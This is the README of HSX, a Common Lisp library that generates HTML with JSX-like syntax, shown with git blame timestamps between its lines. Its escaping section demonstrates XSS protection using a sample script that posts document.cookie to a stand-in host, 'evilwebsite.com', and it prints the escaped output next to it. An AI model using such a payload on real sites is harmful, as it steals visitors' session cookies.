2025-03-28 15:20:57 +09:00
# HSX – Hypertext S-expression
2018-06-24 13:08:30 -04:00
2025-04-01 01:36:49 +09:00
**HSX** is a simple and powerful HTML generation library for Common Lisp, inspired by JSX. It allows you to write HTML using native Lisp syntax.
2024-12-12 14:00:42 +09:00
2025-05-18 19:00:35 +09:00
[Practical usage example ](https://github.com/skyizwhite/website )
2025-04-01 01:36:49 +09:00
> 🚧 **BETA NOTICE:**
2025-03-28 15:20:57 +09:00
> This library is still in early development. APIs may change.
> See [release notes](https://github.com/skyizwhite/hsx/releases) for details.
2024-12-12 14:00:42 +09:00
2025-03-28 15:20:57 +09:00
## ⚙️ How HSX Works
2024-12-12 14:00:42 +09:00
2025-03-28 15:20:57 +09:00
Every tag or component inside an `(hsx ...)` form is transformed into a Lisp expression of the form:
2024-05-28 19:33:08 +09:00
2024-05-27 18:24:19 +09:00
```lisp
2025-03-28 15:20:57 +09:00
(create-element type props children)
2024-05-28 09:31:18 +09:00
```
2024-05-27 18:08:25 +09:00
2025-03-28 15:20:57 +09:00
For example:
2024-05-27 18:08:25 +09:00
2025-03-28 15:20:57 +09:00
```lisp
(hsx
(article :class "container"
(h1 "Title")
(p "Paragraph")
(~share-button :service :x))
2024-05-27 18:08:25 +09:00
```
2025-03-28 15:20:57 +09:00
Is internally transformed (by macro expansion) into:
2024-12-13 01:35:31 +09:00
```lisp
2025-03-30 20:20:17 +09:00
(create-element :article
(list :class "container")
(list (create-element :h1
(list)
(list "Title"))
(create-element :p
(list)
(list "Paragraph"))
(create-element #'~share-button
(list :service :x)
(list))))
2024-12-13 01:35:31 +09:00
```
2025-03-28 15:20:57 +09:00
## 🚀 Quick Example
2024-05-27 18:08:25 +09:00
2024-05-27 18:24:19 +09:00
```lisp
2024-05-27 18:08:25 +09:00
(hsx
2025-03-28 15:20:57 +09:00
(div :id "main" :class "container"
(h1 "Hello, HSX!")
2025-03-28 15:20:57 +09:00
(p "This is a simple paragraph.")))
2024-05-28 09:31:18 +09:00
```
2024-05-27 18:08:25 +09:00
2025-03-28 15:20:57 +09:00
Generates:
2024-05-27 18:08:25 +09:00
2024-05-28 09:31:18 +09:00
```html
2025-03-28 15:20:57 +09:00
< div id = "main" class = "container" >
< h1 > Hello, HSX!< / h1 >
< p > This is a simple paragraph.< / p >
2024-05-27 18:08:25 +09:00
< / div >
```
2025-03-28 15:20:57 +09:00
## 📝 Rendering
Use `render-to-string` to convert an HSX structure to a string of HTML:
```lisp
(render-to-string
(hsx ...))
```
2025-03-28 15:20:57 +09:00
## 🔐 Escaping text
2025-03-28 15:20:57 +09:00
All elements automatically escape special characters in content to prevent XSS and HTML injection:
```lisp
(hsx
(div "< script > fetch ( 'evilwebsite.com' , { method : 'POST' , body : document . cookie } ) < / script > "))
```
Outputs:
```html
< div > < script> fetch(& #x27 ; evilwebsite.com& #x27 ; , { method: & #x27 ; POST& #x27 ; , body: document.cookie })<& #x2F ; script> </ div >
```
2024-06-08 13:43:57 +09:00
2025-03-28 15:20:57 +09:00
Use the special tag `raw!` to inject trusted, unescaped HTML:
```lisp
(hsx
(article (raw! "HTML text here ..."))
```
## 🧩 Fragments
Use `<>` tag to group multiple sibling elements without wrapping them in a container tag:
2024-05-30 09:47:56 +09:00
```lisp
(hsx
(< >
2025-03-28 15:20:57 +09:00
(p "One")
(p "Two")))
2024-05-30 09:47:56 +09:00
```
2025-03-28 15:20:57 +09:00
Outputs:
2024-05-30 09:47:56 +09:00
```html
2025-03-28 15:20:57 +09:00
< p > One< / p >
< p > Two< / p >
2024-05-30 09:47:56 +09:00
```
2025-03-28 15:20:57 +09:00
Note: `raw!` tag is a fragment that disables HTML escaping for its children.
2024-05-28 19:33:08 +09:00
2025-03-28 15:20:57 +09:00
## 🧱 Components
Define reusable components using `defcomp` macro. Component names must start with `~` .
*Keyword-style*
2024-05-28 19:33:08 +09:00
```lisp
2024-12-13 01:35:31 +09:00
(defcomp ~card (& key title children)
2024-05-27 18:08:25 +09:00
(hsx
2024-06-08 13:43:57 +09:00
(div :class "card"
2025-03-28 15:20:57 +09:00
(h2 title)
2024-05-27 18:40:50 +09:00
children)))
2024-05-28 09:31:18 +09:00
```
2024-05-27 18:08:25 +09:00
2025-03-28 15:20:57 +09:00
*Property-list style*
2024-05-27 18:24:19 +09:00
2024-05-28 09:31:18 +09:00
```lisp
2024-12-13 01:35:31 +09:00
(defcomp ~card (& rest props)
2024-05-27 18:24:19 +09:00
(hsx
2024-06-08 13:43:57 +09:00
(div :class "card"
2025-03-28 15:20:57 +09:00
(h2 (getf props :title))
2024-05-27 18:40:50 +09:00
(getf props :children))))
2024-05-28 09:31:18 +09:00
```
2025-03-28 15:20:57 +09:00
### Usage
2024-05-27 18:24:19 +09:00
2024-05-28 09:31:18 +09:00
```lisp
2024-05-27 18:40:50 +09:00
(hsx
2025-03-28 15:20:57 +09:00
(~card :title "Hello"
(p "This is a card.")))
2024-05-28 09:31:18 +09:00
```
2024-05-27 18:08:25 +09:00
2025-03-28 15:20:57 +09:00
Outputs:
2024-05-27 18:08:25 +09:00
2024-05-28 09:31:18 +09:00
```html
2024-06-08 13:43:57 +09:00
< div class = "card" >
2025-03-28 15:20:57 +09:00
< h2 > Hello< / h2 >
< p > This is a card.< / p >
2024-05-27 18:08:25 +09:00
< / div >
```
2025-03-28 15:20:57 +09:00
## 🧬 Logic and Interpolation
You can freely embed Lisp expressions, conditionals, and loops inside HSX forms:
```lisp
(hsx
(div
(if (> (random 10) 5)
(hsx (p "High!"))
(hsx (p "Low!")))))
```
Or loop:
```lisp
(hsx
(ul
(loop :for item :in todo-list :collect
(hsx (li item))))))
```
2025-05-19 23:33:22 +09:00
## Utils
- `(clsx &rest strs)` : A utility function for constructing class strings conditionally. It removes `nil` from the string list, then joins the remaining strings with spaces.
2025-03-28 15:20:57 +09:00
## 📄 License
2024-02-09 02:54:12 +09:00
2025-03-28 15:20:57 +09:00
MIT License
2025-03-28 16:23:15 +09:00
© 2024 Akira Tempaku
© 2018 Bo Yao (original [flute ](https://github.com/ailisp/flute ) project)
2025-03-28 15:20:57 +09:00